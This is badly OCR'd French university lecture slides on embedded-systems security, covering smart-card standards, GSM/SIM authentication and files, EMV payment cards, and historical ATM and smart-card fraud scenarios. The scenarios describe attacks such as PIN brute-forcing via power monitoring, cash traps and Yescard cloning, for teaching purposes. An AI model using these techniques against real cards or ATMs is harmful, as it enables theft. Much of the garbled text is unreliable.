AT - Admeisrator Coda 1
AL M4 - Admrsrator Coda 4
- D - Card pplicateon Lit

SIEEID - IE Cord Ideriilis B e el - L
- CSiep - P=isonaization Fil @ = 4 _IB_n!jl EF‘@'H:ME D‘Fimwl
< Unkrisan [Transpaert fil) ] Algnid | w |
- Syherm File: for Flamaee ey ﬁ’ 1
+ LAk - Lather Boes "
- USF - ses Fepot Stirg it
- meruFie
- Boat Fie |
<280 - Spplcee Socers Dor e [
Celles - Cal ibrany S e AR I‘

: e infomatinn ;
“Card Menu Title S e
TELECOM it F‘ ) - = ! . -
20 GoM diecs 7 e Autesicaizn [ Covuionseit message
-l (0T Repean - Arplicale Koyl T Ewairad Autheericaion T Loadbay

2 Iu 1110111

S5 DEFHTIALTM e nFEphime DI IO 20NN

SF1a-
GF5 - LP - Languags Prelerence
GFOF - IMS] - [reemranoral Mabils
i [HS BF11 -4 - Vaice Mei Waling |
J55T - Gavica Shivg Tabk [Ipdaiz |  Flfieshi | Hesn | | Hel
- [FF - Call For weanding Flag
-ONE - Dpardor Mame Sting
- 05F - Custormes Servics Protie
- EPHEL - CFHS Inlemaion =

r— s gy p—y
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Architecture d’application carte

* Schéma général
* Le terminal contréle, la carte est passive

* Dialogue terminal-carte de type requéte/réponse

* Format de messages standard : APDUs (ISO 7816-3 & 4)

Tommand Response:

. APDU

APDU :
1 :

Caries & Moroprocesseur, 18997-2008

Sécurité des systemes embarqués - I uveron

@@

Leroulement a ession
du point de vué?g I'application hote

APDU

]
<
“
=
)
=

&
’ % ;\Q} :“

7 A

Durée d’une APDU

m— Durée d’ une session

'Jll} 13'““'1

=== Durée d’ une connexion
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ISO 7816-5

* Spécifie le systéme de numérotation et les procédures d'enregistrement des identifiants d'applications

(AID pour Application Identifier).

* Un AID = identification unique d'une application de la carte et de certains types de fichiers

* Un AID se compose de deux parties :

e Ressource Identifier

RID (5 octets)

* RID is assigned by a national or international authority

PIX (0-11 octets)

national)

RID Meaning
D1 D2-D4 D5-D10 m
X - - Registration ca ry (A ipjernational, D

N

X Countryﬂwmg I1SO 3166

* Proprietary Identifier eXtension
e PIXis used to identify applicat

Sécurité des systemes embarqués - |

1ISO 7816-6

* Spécifie les élémefis
porteur de carte,d

ions

Longueur

2/

Valeur

X ApplicAdio dor number assigned by
nati r jniernational body
A NN
vJ

9 -

¢

Java Card : le RID doit étre le méme pour le
quetage et I'applet.

uveron

données inter-industrie tels que le nom du
\|date d'expiration, etc.

Description Source Template Tag Length
° * i 1 i "70or"TT" | '5F24'
Exe m p I e : Date after which application expires ice ng 70 or "T7 5F24 3
Expiration Date YTYMMDD
Application File | Indicates the location (SFI, range of records) of ce var. "TT or '80 ‘94" Var. up
cgflo) (AFL) the AEFs related to a given application to 252
b ation Identifies the application as deseribed in ice b '61' '4F' 5-16
DeMicated File ISO/IEC 7816-5
(ADF) Name
Application Identifies the application as deseribed in Terminal b — '9F06" 5-16
Identifier (AID) — | ISO/IEC 7816-5
terminal
Application Indicates the capabilities of the card to support ce b 77 or 80" 82 2
Interchange specific functions in the application
Profile
Application Mnemonic associated with the AID according ICC ans with '61" or "AD' ‘B0’ 1-16
Label to ISO/TEC 7816-5 the special
character
limited to
space
. Application Preferred mnemonic associated with the ATD Ice ans (see '61" or "A5' | '9F12' 1-16
(from « EMV. . Preferred Name section
Integrated Circuit Card 43
Specifications for Payment Systems », Book 3 -3)
Application Specification, Version 4.3) Application Valid cardholder acecount number ice en 70" or "77 BA’ var. up
Primary Account var. up to to 10
Number (PAN) 18

149

150



D'autres standards du monde de la carte

* |SO 14443, ...
* ETSI, (télécommunications, GSM)
* EMV, (cartes de paiement)

* ICAO (International Civil Aviation Organization, agence de 'ONU,
biométrie, passeport)

* Santé, :

Sécurité des systemes embarqués - @9 E uveron 151

Pourquoi utiIis;r;3 arte a puce ?

La sécurité du stockag La sécurité du calcul
THA [ ¢ ? [Blah Blah]
b
[@¢"#~rdx]

,:;5;:3:;__ |

La personnalisation

La portabilité

La facilité d'utilisation Le co(t
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Quelgues applications @@

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron



Les réseaux cellulaires

Sécurité des systemes embarqués - | 2 /749 - uveron

¢
Iy aeuleGS @

* Dans les années 80/Klusigurs réseaux cellulaires ont vu le jour en Europe

* Les systemes sontin atibles d’un pays a un autre
* Conséquence

e équipem iles limités aux frontiéres du pays

* marchéAmi

* Création du « Groupe Spécial Mobile » pour :
* Améliorer la qualité de la transmission
* support international : roaming
* rajout de nouvelles fonctionnalités
* offrir des terminaux et des services a colts accessibles

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Iy aeule GSM/2

* Normalisation 1982 : Baptisé « Groupe Spécial Mobile »

* Depuis 1989, 'ETSI (European Telecommunications Standard Institute) édite les spécifications du GSM et de
I"UMTS (Universal Mobile Telecommunications System, réseau de 3éme génération).

* Siege de I'ETSI a Sophia Antipolis.
* 1991 : devenu une norme internationale nommée « Global System for Mobile communications »
* En Europe, le standard GSM utilise les bandes de fréquences 900 MHz et 1800 z.
* Aux Etats-Unis, la bande de fréquence utilisée est la bande 1900 MHz.
* Tri-bande : les téléphones portables pouvant fonctionner en Europe et @nis
* Bi-bande : les téléphones fonctionnant uniquement en Europe.

* La norme GSM autorise un débit maximal de 9,6 kbps
e =>transmission de la voix, des données numériques de faible volum
« des messages textes (SMS, pour Short Message Service) ou
* des messages multimédias (MMS, pour Multimedia Message Service).

Sécurité des systemes embarqués - | uveron 157

&

Evolutions des ¢ nications réseaux cellulaires

* 1G : reposait sur yr{systeme de communications mobiles

hnologie numérique. Utilise essentiellement le
bps)
d + données numériques de faible volume (SMS)

* EDGE (2.75G)Y. pour des échanges de données plus performants (43,2-345,6
kbps)

* 3G : communications numériques plus rapides. (0,144-2 Mbps)
« UMTS (3G)
* HSDPA (3.5G)

* 4G : idem mais utilise LTE (10-300 Mbps)
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Notion de réseau cellulaire

* Un réseau de téléphonie mobile est basé sur la notion de cellules,
* Une cellule : est une zone circulaire qui couvre une zone géographique.
* Une cellule : centaine de métres (zone urbaine), une trentaine de kms (zone rurale).

* Chaque cellule dispose d'un émetteur-récepteur central a ftation de base » (en
anglais Base Transceiver Station, BTS).

* Plus le rayon d'une cellule est petit, plus la bande passant poyihfe est élevée (pour la méme
densité surfacique d’utilisateurs)

* Chaque cellule est entourée de 6 cellules voisines.

* Les cellules adjacentes ne peuvent pas utiliser la

Sécurité des systemes embarqués - |

7/

Eléments du ré cellulaire GSM

* Un controleur de sions4{BSC, Base Station Controller) qui relie toutes les
stations de base, de gérer la répartition des ressources.

¢

* Sous-systerp@ra (en anglais BSS pour Base Station Subsystem) =
contrbleu stations + les stations de base.

* Centre de commutation du service mobile (MSC, Mobile Switching Center),
géré par I'opérateur téléphonique, relie les contrbleurs de stations au
réseau téléphonique public et a internet.

* Sous-systeme réseau (NSS, Network Station Subsystem) auquel appartient
le MSC, chargé de gérer les identités des utilisateurs, leur localisation et
I'établissement de la communication avec les autres abonnés.
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Architecture du réseau GSM

-
Sécurité des systemes embarqués - M9 —auveron 161

Bases de donng anipulees

* Le registre des abonnéfbcaufHLR, Home Location Register): base de données
contenant des infor osition géographique, informations administratives, etc.)
sur les abonnés inscri oFa zone du commutateur (MSC).

* Le registre des aORNEEL S visiteurs (VLR, Visitor Location Register): base de données
contenant deyipformadtions sur les autres utilisateurs que les abonnés locaux. Le VLR
rapatrie les ées sur un nouvel utilisateur a partir du HLR correspondant a sa zone
d'abonnem s données sont conservées pendant tout le temps de sa présence dans

la zone et sont s mées lorsqu'il la quitte ou aprés une longue période d'inactivité
(terminal éteint).

¢ Le registre des terminaux (EIR, Equipement Identity Register) : base de données
répertoriant les terminaux mobiles.

* Le centre d'authentification (AuC, Authentication Center) : élément chargé de vérifier
I'identité des utilisateurs.
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Mobilité

* Le réseau cellulaire supporte la mobilité grace a la gestion du
handover
* c-a-d le passage d'une cellule a une autre.

* Les réseaux GSM supportent aussi la notion d'itinéf@nc&\roaming)
* c-a-d le passage du réseau d'un opérateur a un autr

Sécurité des systemes embarqués - | 2/ 9 - uveron

¢
& >
& Les stations mobiles
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Station mobile

e Station mobile : terminal de l'utilisateur

* Station mobile composée de :
* Une carte SIM (Subscriber Identity Module), pour identifier I'usager de facon unique.

* Un équipement mobile identifié par un numéro d'identification unique de 15 chiffres
appelé IMEI (International Mobile Equipment Identity).

* Chaque carte SIM possede un numéro d'identificat' i (et secret) :
IMSI (International Mobile Subscriber Identity), q f@ étre protégé a
I'aide d'une clé de 4 chiffres appelés code PIN.

* La communication entre une station mobile&¢ |a*station de base se fait par
I'intermédiaire d'un lien radio, généralem elé interface air.

Sécurité des systemes embarqués - @9 - uveron 165

Carte SIM

* Notion introduit@ 8
Q

* Plusde5,6 s de cartes SIM fabriquées en 2018
* Role fonctio dans le réseau :
* Contient les détails concernant 'abonnement de l'utilisateur de téléphone
mobile

* Détient les secrets nécessaires pour prouver l'authenticité du mobile et pour
chiffrer les échanges

* Chargement de nouveaux services
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Carte SIM : Mobilité

» Détails d'abonnement mémorisés sur la carte :
* |dentité unique de I'abonné (IMSI)
* Numéro de téléphone de I'abonné (MSISDN)
* Code de service (opérateur)
* etc.

Sécurité des systemes embarqués - |

&

Carte SIM : Ser;& sécuritaires
SN

* La carte SIM stoc&
e Codes secrets.

de 'utilisateur : Code PIN (Personal Identification Code)
* Authentjtiegtidf/de I'opérateur : Code PUK (Personal Unlock Code)

uveron

formations sensibles :

* Pour l'authdntification de la carte SIM par le réseau : Ki
* Pour la communication chiffrée : Kc

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron

168



Carte SIM : Services téléchargeables

* La carte SIM est un environnement d’exécution pour les applications
de confiance

* Capables d’interagir avec le mobile
* Affichage d’infos sur I’écran du mobile
* Récupérer les infos de I'utilisateur
* etc.

* Capables d’interagir avec le réseau :
* envoyer et recevoir des messages (SMS, GPRS, etc.)
* géolocalisation

* Capables d’interagir avec le systeme fichier, |3 carte SIM
 écrire/lire des fichiers de la SIM
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& La normalisation et la sécurité
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Les standards

Standards overview T

APT
T531.130

/'— File and authertication

f OTA
[/ 1531115
1531116

f | Toolkd
1531111

Tookit =\
1551014 - R4 \

\

File snd suthertication =zt i
T551.011 -R4 00 |
\

APE _—
75 43.019

[U l“EC'L » ‘
Fi and admiréstration | NN
15 31.101 [ | 014
SCP 102.221 [ A0
SCP 102.222 [ A
‘m — ook
SCP 102.241 | SCP 196.909

g 0
Les standards

* SIM
* Gestion des Fichi&hthentiﬁcation :3GPP TS51.011 (ETSI GSM 11.11)

Moptet/lanagement : 3 GPP TS 51.014 (ETSI GSM 11.14)

e SIM Toolkit

* SIM API ava Card : 3 GPP TS 43.019

* USIM
e Gestion des Fichiers et Authentification : 3 GPP TS 31.102

* USIM Toolkit Applet Management : 3 GPP TS 31.111

e USIM API for Java Card : 3 GPP TS 31.130

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Méthodes de protection proposées dans GSM 02.09/1

* La protection de I'identité d’un abonné :

* 'abonné posséde un identifiant (IMSI : International Mobile Subscriber
Identity) permettant de retrouver les paramétres d’abonnement dans le HLR
(Host Location Register) : base de données des comptes client. Le réseau
délivre un TMSI (Temporary Mobile Subscriber Identity) une identité
temporaire qui change a chaque appel pour interdire la tr, ilité des
communications.

e 'authentification d’'un abonné :

* Une authentification forte est réalisée a l'aide d rithme A3 associé a
une clé Ki de 128 bits.

GSM 02.09: "Digital cellular telecommunications system (Phase 2+) Segmyity As
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Meéthodes de protect] roposées dans GSM 02.09/2

* La confidentialité nnées utilisateur :

* Dans un résea ire radio, I'information est transmise par des ondes
electromag ues (OVer The Air) entre le téléphone mobile et la station de
base. Les é entre mobile et station de base sont chiffrés a I'aide de
I'algorit ui utilise une clé de chiffrement Kc. Kc est mise a jour a
chaqu I authentification) avec l'algorithme A8 de génération de clés. A3
et A8 sont nt confondus (nommés A38 ou A3AS).

* La protection de certaines informations telles que :
* IMSI, numéros appelés ou appelants, le numéro de série du téléphone
* (IMEI : International Mobile Equipment Identity).
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Infrastructures d’authentification du GSM

* || existe cing entités :

La carte SIM

Le mobile

VLR (Visitor Location Register) : entité associée a plusieurs enfjfés ¥a base

HLR (Host Location Register) : base de données clients

* Le centre d’authentification (AuC, Authentication Ce

* La norme 3GPP TS 43.020 identifie une cell oy un ensemble de cellules a

I'aide de I'étiquette LAl (Location Area Ideritit
3GPP TS 43.020 - Technical Specification Group Services & System Aspects; Securi lated

Sécurité des systemes embarqués - | 2/ 9 -

¢

k Functions (Release 5, 2002).
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Principes de sécUnii€ d’'un réseau GSM/1

. VLR
Carte SIM Mobile e Base HLR/AuC

LAI, TMSI K N

V v
. / '\ VO Requéte d’'Identité
IMSI V /
4 Vn Requéte d’Authentification

Triplet(RAND, SRES, Kc)

RAND

Kc=A8(Ki,RAND\
—_—

SRES’=A3(Ki,RAND
SRES’=SRES ?

A5(Kc, TMSI)

Acquitfement

Basculement en modéejchiffré

Acquittement

RAND : nb aléatoire de 16 octets

SRES (Signed RESponse) : réponse signée SRES=A3(Ki, RAND)

Kc: clé de chiffrement des communications, Kc=A8(Ki, RAND). 176
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Principes de sécurité d’un réseau GSM/2

* 1. L'abonné dispose des valeurs (LAI, TMSI) stockées dans le module SIM, suite a un appel
précédent.

* 2. Le mobile transmet au VLR les valeurs (LAI, TMSI).
. Sile VLR échoue pour retrouver I'IMSI, il envoie une requéte d’identification au mobile
. Le VLR récupeére I'lMSI mémorisé dans la carte SIM

. Le VLR envoie au HLR/AuC une demande d’authentification

. AuC produit un triplet GSM (RAND, SRES, Kc)

. A la réception du triplet, le VLR transmet au mobile RAND

. La carte SIM calcule SRES’= A3(Ki, RAND) qui est envoyé au HLR.
* 9. Le HLR vérifie I'égalité entre SRES et SRES’=> authentification de

* 10. Le VLR choisit un nouveau TMSI, le chiffre avec I'algorithme
mobile qui le déchiffre.

L]
00N O U1 W

cas de succes.
é Kc et I'envoie au

* Les opérations de chiffrement et de déchiffrement appli
le mobile (et non la carte SIM). Au-dela des stations de
il n’y a aucune garantie de confidentialité.

Sécurité des systemes embarqués - |

éf@raphiques

Algorithmes cr@3
* La carte SIM réalig&le cdlcul A3A8 dans un espace sdr.

* En 1998, Mark Bxicegy lan Goldberg et David Wagner (chercheurs a

auveron

I"'université d eley) ont cassé l'algorithme A3AS.
* Méme si recommande aucun algorithme, les opérateurs
utilisent cgadure secrete COMP128-1.

* Ces chercheur¥ont aussi cassé cet algorithme en retrouvant la clé Ki
en 212 calculs (environ 500 000 essais). Pour cette raison, les
composants qui integrent COMP128-1 sont munis d’un compteur
limitant le nombre d’appels a 100 000.

gnaux radio sont réalisées par
dans le réseau cablé de l'opérateur,

177

* Les modules SIM sont aujourd’hui basés sur I'algorithme COMP128-2

dont l'algorithme est pour le moment secret.
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Spoofing et phishing

* Une petite vidéo : https://p-fb.net/gsm-demo.html

@@
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& >
& Le systéme de fichiers
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Caractéristiques physiques d’une carte SIM

* Début des années 90:
* Une carte SIM : un CPU (8 bits), RAM (128 octets), ROM (7 ko), EEPROM (3
ko).

e Actuellement :

* Une carte SIM : un CPU (32 bits), RAM (16 ko), ROM (512 k

(512 ko), processeur dédié au calcul cryptographique.

* La ROM (Read Only Memory) contient le systeme d'exploitatiodde la

mécanismes de sécurité (algorithmes spécifiques (APl GS

* |I'EEPROM (Electrically Erasable Programmable Read Only
répertoires définis par la norme GSM (tels que les nu

"

EEPROM/FLASH

rte, les

y)Contient des
3|éphones I'abonné...) et
af applications spécifiques).
alculs ou de charger des

des données liées aux applets (service de messages

* |la RAM (Random Access Memory) permet d'effectug
instructions et les exécuter.

Structure d’un e SIM

A A B &
M || D F F P
D || Pollp ||p
40 £ L L L
F E E E
D T T T
it 1 2 3
Interpréteur Systéme d'exploitation GSM
Jarra ( Jarva card
1.0 pour cartes
V1) = Machine — :
ROM virtuelle = Application Toollat
Activation Mécanismes APT (38
des applets de securité
¥
Matériel i SIM card HARDWARE




Systeme de Fichiers sejon la norme 3GPP TS 51.011

LR
Y ]

La commande T

* A0 A4 00 00 02 XY XX (XX XX : FID du fichier/répertoire a
sélectionner). o

* le nom du répertoire sélectionné
* |le type du répertoire (MF ou non)
* présentation du code PIN

* nombre de sous répertoires

* nécessité éventuelle de présentation du code PIN, avec le nombre d’essais
possibles.
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Lectures de Fichiers

* Lecture de I'lMSI

* Le fichier EF,y,s (6FO7) du répertoire GSM est de type transparent, il contient I'IMSI.

e La sélection du fichier retourne la taille du fichier.

» AO BO 00 00 09 (READ BINARY 9 octets, taille de I'IMSI).

* Lecture de TMSI et LAI

* Ces parametres sont lus a partir du fichier EF ., (6F

* A0 BO 00 00 0B (READ BINARY 11 octets, 4 octejf ou Sl suivis de 5 octets pour

Sécurité des systemes embarqués - @9 E uveron
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8 dubai « first

La carte bancaire

g O
Applications d rement

* Cartes de Crédit : S ébité sur le compte du titulaire avec un
taux d'intérét fixg
* Cartes de Déo Qre débité quelques jours aprées I'achat

gt relatif des
ens de paiement en nombre de transactions (o)

45% —

40%

<

35%

30%

25%
25,5
20% [~
17,9
168 17.3 .
15,8 16,2 i
150, | 14,5 o ]_5'4 o g o
14,3 1.4,5 145 14,8 146 150 150 150 15,2
10% T T T T T T T T 1
1998 1999 2000 2001 2002 2003 2004 2005 2006
@ Cartes CB jpatementsiretraits) Prélevements, TIP
@ Chéques 2 Virements

Source | Banue o France



Applications de paiement : Techniques

 Authentification mutuelle carte et terminal commercgant

QUIES-TU ? >

QUI ES-TU ? | \

e Controle du PIN

* Controle (régulier ou systématique) du solde 2 (en ligne)
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¢

Applications de paieme xemple : GIE Cartes Bancaires)

53,6 millions de cartes

1,2 million de points d’acceptation
* 950 000 terminaux de paiemen ommerces
* 140 000 automates de ventg o

* 50 000 distributeurs de bi
e 75000 commergants a d

8 fignt 15 000 sites Internet
1 Distributeur Automatfgde de Billets pour 1200 habitant en France
349,5 Mds€ de trans§gfi n 2006 (257,3 Mds€ de paiements et 92,2 Mds€ de retraits)

260 M€ de fraudes du a la pi

Milliards d'eurcs
250 027
200~
150

100

o 7
-yl a1 B
a8 . 0,020
50 39 0,08 oot O 0.047 o3
® 0,04 LI92 a0 | gote _rI o g
“ha

e 0041 0,035

i b ol e e Lot
87 88 80 00 91 02 93 04 95 06 07 98 90 00 01 0Z 03 04 05 06

@ Pourcentage de fraude en palements

O Volume des paiements
190
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La carte bancaire

Identification
de (établissement Etablissement Emetteur
emelleus ¢ propriclaing
de |a carte. Logo “CB”
Logo CB
i
La puce
(deputs 1992) Banque
Elément clé —
de la sécurite =-.= Hologramme Halogramme
du systéme CB. = e Ry ——
gooo 1234 SeYE |9123 =-1o
g o T |l
n ‘o | ] Nomire
e AVEeR Eem——h V| ) delacarte
MILLE FUBENIE [(BEFALPAGE | :____l____:
a ' |
T T
i 1 | Eventuellement Nom du titulaire
Nom du tiwleire ! Sk ¥ 4 :D‘lc' "11-9"“1*;“'
______________ e dexpiration | des systemes Visa A
e Car Numéro de carle )
La puce - élément cié de la s
du systeme CB
Pizte magniétigue Parneau signature
............... ! e et e
. 1 Piste
magnetique
|
AT D TTILLARE & O TP AN L 5
o YRR 57
e o . signature 0 AT
I
I [ R et ot
i Pl s Tristenae {
! i Lk \
! |
) i
; 1
i |
Cryptogramme viswel —— Adresse
3 derniers chiffres figurant sur le pannesu de [tablissement
signature de ia carte, Cest un élément emetieur
supplémentaire de sécuriation
du palement & distance Emba\qucb’ D

La carte a puce

Aujourd'hui on utilise « tous les » verrous et le systéme est & nouveau sécurisé.

sécurité

NON

Il s'agit d'une mauvaise utilisation de la carte
dans un systéeme plus large, ici, le systéme
bancaire

Exemple : Utilisation d'un seul des différents
verrous du coffre-fort
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Plan de Migration de VISA vers les SC

-
Feb 1998 Launch of Chip Migration program
Jan 1999 New Visa and Electron chip cards to be EMV and VIS compliant
Jan 2001 All new Visa Cash programmes to be CEPS compliant
N\

Oct 2001 All Acguirer hosts certified to EMV, All new Terminals +

compliant (POS, EPOS, ATM)

N
Jan 2002 Regional review to assess EMV and PIN reading Q;‘
July 2002 Visa, Electron and Visa Cash to be EMV, VI {\gE"Fé compliant
A A4

Jan 20056 All Visa Electron terminals to be EMV F’MbledJ Praposed

Intra regional liability shift

Royaume Uni: PIN obligatoire is le (/922006
Sécurité des systemes embarqués - | 2 /749 -0 Jauveron

A

Jouons un peu
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Smart Card Fraud

* Scenario 1:

* Although PIN protected stolen magnetic stripe credit cards were successfully
used to withdraw money.

* Audit of the ATM’s log file show that although the thief presented three false
PIN code he could somehow get the card back and try again.

* The correct PIN was found by exhaustive search after ap ately 5000
attempts.

« What happened ? @
Sécurité des systemes embarqués - @9 - uveron 195

Smart Card Frzz..g&@

* Scenario 1: &
* Although PIN prote éstolen magnetic stripe credit cards were successfully
used to withd

* What happened ?

* After stealing the card, the thief made a small hole in it, attached a wire to full
out the card after three false presentation
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Smart Card Fraud

* Scenario 2:
* Users insert their cards to ATMs enter their PINs but get no money.

* The ATM swallows the card and display the message “Invalid card contact
your bank”.

* Money was however withdrawn with the card later.

* What happened ?

Sécurité des systemes embarqués - @9 - uveron 197

Smart Card Fra

* Money however withdrawn with the card later.

* What happe ?
* A false ATM...
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Smart Card Fraud

* Scenario 3:

* Same as the previous one but using smart card with an EEPROM having a
retry counter limited to 3. The card is always returned to the user but its
EEPROM retry counter never decrease.

* Audit of the ATM’s log file showed that although the thief presented three
false PIN code he could somehow get the card back and i

ain.
* The correct PIN was found by exhaustive search after agifroxiNlately 5000

attempts.
* What happened ? @
Sécurité des systemes embarqués - @9 - uveron 199
Q
Smart Card Fra @

* Scenario 3:
* Same as the pgavio ne but using smart card with an EEPROM having a
retry counte ited t¥ 3. The card is always returned to the user but its
nter never decrease.

* Audit of fife ATV’s log file showed that although the thief presented three
false P e he could somehow get the card back and try again.

* The correct was found by exhaustive search after approximately 5000
attempts.

* What happened ?

* In old cards EEPROM programming voltage was done using an external
programming voltage (Vpp) supplied through a specific ISO contact. The thief
had covered this contact with a sticker.
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Smart Card Fraud

* Scenario 4:
* The ATM’s log file and cash do not match, money is missing,

* Audit of the ATM’s log file showed that the same user withdrew money
several times. He always forgot his banknotes that were swallowed back by

the ATM after a short time-out (security features)

* What happened ?
Sécurité des systemes embarqués - @9 - uveron 201

Smart Card Fra

* Scenario 4:
ash do not match, money is missing,

's log Tile showed that the same user withdrew money
Iways forgot his banknotes that were swallowed back by

* The thief would withdraw three banknotes but take only two of them. The
remaining banknote was detected by the paper sensor and swallowed back
by the ATM which automatically cancelled the transaction. The sensor could
not distinguish between one, two or three banknotes.
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Smart Card Fraud

* Scenario 5:

* Users complain that when attempting to withdraw money they get nothing,
money is however debited from their accounts.

* An audit of the ATM’s log file shows nothing abnormal

* What happened ?
Sécurité des systemes embarqués - @9 - uveron 203

Smart Card Fra é@

* Scenario 5:
* Users complaip

money is ho >
* An audit e

* The hole thrQ4¢
(piece of metal).

* The back of the fake hole was covered with glue to prevent the machine from
swallowing back forgotten banknotes.

* After each victim’s withdrawal, the thief would come to the ATM, remove the
piece of metal and collect the banknote.

a en attempting to withdraw money they get nothing,
debyted from their accounts.

’'s log file shows nothing abnormal
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Un bon coup de fourchette

° http://WWW.|epariSien.fr/faitS' Les escrocs, munis de cartes bancaires Lorsque la paupiere de distribution des billets
. prépayées, opérent un premier retrait s'gwm, ils y introduisent un obget métallique
divers/le-coupde-la-fourchette- ekl e e s M

leurrapporte-un-million-d-euros-
16-08-2012-2126839.php

Sécurité des systemes embarqués - MSB -O.Hfauveron

Skimming

e vendredi 07 novembre 2008 :

illion retiré sur des comptes de I'Ouest (Ouest France)

e Cout 8kS
e Wifi +sm
* Hong kong, maldgie, USA, France

* http://www.sudouest.fr/2013/06/24/de-bordeaux-a-la-rochelle-lI-escroquerieau-terminal-de-paiement-fait-des-ravages-1094946-7.php
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Smart Card Fraud

* Scenario 6:

* Although PIN protected stolen smart card were successfully used to withdraw
money.

* An audit of the ATM’s log file shows that the correct PIN was used in the

withdrawal operation.
* What happened ?
Sécurité des systemes embarqués - @9 - uveron 207

Smart Card Fra @

* Scenario 6: &
* Although PIN prote 5stolen smart card were successfully used to withdraw
money. -
* An audit of Whed®JM'’s log file shows that the correct PIN was used in the

withdray@ opé€ration.

* What happery

* The fraud was technical: the smart card’s software was programmed to
compare the presented PIN and if incorrect to increase the EEPROM counter.

* EEPROM programming is characterized by an increased power consumption
and requires 5ms.

* The thief used a board that presented automatically all the PIN value (0000 to
9999) but detected the current consumption increase and powered off the
card before the EEPROM retry counter could be updated.
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Yescard

T -

%
Gaie| EEES

—Etat port COk-
@ on/oFF

Apropos...l Config. | Logager | Communication' Lecture

|dentité Parteur

@ 10
- de Cone | @ o
b

5 R

- xxxxx+00+H " +FFF+1l0+datedebuttdatefin

W 3y Redondance I ~|| @ sk

Y aleur Suthentification @ OCD
11 [l 250 El || @crs

Rafraichir Progran; 24c1E

»BIN Edit ATR BIM-»

: 'ue degtra ’ (]
l (03} Yntant[s] | o

“Phoenix™

“Season’

Aide

-geferoles- || l)ttentiolﬁhéamme 4 usage eXcluSiveMenlt didactique. | -=Freeware=-
\ 4
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Yescard

* Some details

* Below a given A card and holder authentication are done locally,
* Only some asoline, transport ticket, video rental and so on...) are
concerne
* ATM d always an on-line authorization
* Me epqinal will be detected by the merchant or he/she is himself part of the
attack.
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Yescard

* Context

* Weakness known by industrial experts
» Off line authentication : public key
* On line authentication : secret key
* Ksis not stored into the card but easy to retrieve (key was only 320 bits)
* Cloning a card with forged Vs compatible with Id

* Ended with the court case “Serge Humpich vs GIE-CB.”
* Keys have been broadcasted thanks to Usenet.
* Card have migrated to EMV 5.1 and 5.2
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Yescard

* Consequence

* Media focuse h on cloning Banking Card

* Moved fr risk to industrial image
* Problemr ith knowledge broadcast

* Kno w used in a fraud context

* Do internet based full disclosure...
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Fraud conclusion

* All this flaws described here are at least 15 years old,
* All of them of course have been corrected,

* Security is a permanent race...

Sécurité des systemes embarqués - | 2/ 9 - uveron

¢
& >
& La norme EMYV : introduction
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Contexte de la norme

* EMVCo manages, maintains and enhances the EMV® Integrated Circuit
Card Specifications for chip-based payment cards and acceptance devices,
including point of sale (POS) terminals and ATMs. EMVCo also establishes
and administers testing and approval processes to evaluate compliance
with the EMV Specifications. EMVCo is currently owned by American
Express, JCB (Japan Credit Bureau), MasterCard and Visa.

* A primary goal of EMVCo and the EMV Specificatio

global interoperability and compatibility of chip—bay ent cards and
acceptance devices. This objective extends to ne £g of payment
devices as well, including contactless payment bile payment.

* Source : http://www.emvco.com (2018)

Sécurité des systemes embarques | uveron 215

* Standard des cartes paiZent depuis 1995

. EUROPAY
* Organismes fon&urs &c. 1993): Lttt _
* Europay Interfig li’ (racheté par Mastercard en 2002) ; Mﬂ@
* MasterCard/mtexgagonal ;

* Rejoint par: (
* le japonais JCB International (depuis Déc. 2004) =
4

* |"américain American Express (depuis Fév. 2009)
'AMERICAN
EXPRESS

* Premiere version des spécifications en 1996.

* En France, depuis fin 2006 les cartes bancaires et les terminaux de paiement
eIectronlques (TPE) respectent le standard EMV.
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Executive Committee

Board of Managers

Card and Terminal

working group

Security

working group

Terminal Approval

working group
Common Core Requir :me,ts :
working group

Technical Advisors

Security E “fuativ

workinge ~roup

Sécurité des systemes embarqués - | R ER o & 217

Spécifications

* Spécifications disgdpiblés sur http://www.emvco.com

* Longue spécifigation O
* de l'ordre ages
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Plusieurs parties

Integrated Circuit Card (ICC) Specifications for Payment Systems

Version 4.3, November 2011

Book 1
* Application Independent ICC to terminal

Book 2

e Security and Key Management

Book 3

* Application Specification

Book 4
e Cardholder, Attendant, and Acquirer
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Déploiement E

* En 2005, il y avai

e 176 millions c S sur 550
millions de circtdant en
Europe

Source: European Payments Council — As of the end of the first quarter of 2005
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Déploiement de cartes EMV

Issuing forecast

Overall, migration is
likely to be gra~i,
mostly acco.dizy, to
Re-issuing ¢ cles

(3 years)

Footnote appears here

November 2, 2005

83.5% of cards
96.6% of transactions

7.3% of cards
0.12% of transactions

40.4% of cards
58.0% of transactions

orth
acific

opz

» 59.5% of cards
85.4% of transactions

(D)EMVCo

Canada, Latin America,
and the Carribean South

50.5% of cards
80.0% of transactions

[ Asia Pacific
[[] Atrica & the Middle East
D Europe Zone 1

D Europe Zone 2

- Contact EMV Global Adoption*

*Figures reported as of Q4 2014 and represent the latest statistics from American Express, Discover, JCB, MasterCard, UnionPay, and Visa, as reported by their member financial institutions globally.
Figures are reported by region and do not imply country-by-country statistics.

[T united states
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Déploiement de cartes EMV

()EMVCo

Canada, Latin America,
and the Carribean

B Asia Pacific

i

[T] Africa & the Middie East
] Europe Zone 1

| Rsecen 2w % .. Contact EM\V' G
United Stats
R - *Figures reported between 04 2015 and Q4 2016 &nd represent the fatest statistics from Express, D B, MasterCavd, UnionPay, and Visa, as reparted by Hair member financial institutions globaty,
Figures are reported i y-by-country statistics.

Canada, Latin America,
and the Carribean

B Asia Pacific

[7] Africa & e Middle East
[ Europe Zone 1 {
smm = . Contact EMV Global Adoption*

“Figures reported o5 of O4 2017 and represant the [atest statisties from Amancan Expeoss, Discovae, JCB, Masteccard, UnicnPay. and Visa, as iy menber lobaiy.
Figures are repocied by region and do nat imply country-bycountsy statistics.




Déploiement de cartes EMV

Worldwide EMV Chip Card Deployment and Adoption*

2013 2014
Region EMV Cards Adoption Rate EMV Cards Adoption Rate

Canada, Latin
America, and the 471M 54 2% 544M 59.5%
Carribbean

*Figures reported in G4 2013 anc Q& 2074, respectivaly, and represent the latest statistics from Amarican Express. Discover, JC5. MasterCard, UnionPay, and
\isa. as reported by their member insttutions giobally.

N
Worldwide EMV ChiUﬁxrd bﬂoyment and Adoption*

20 2015 2016
= o} ‘io optio Adoptio
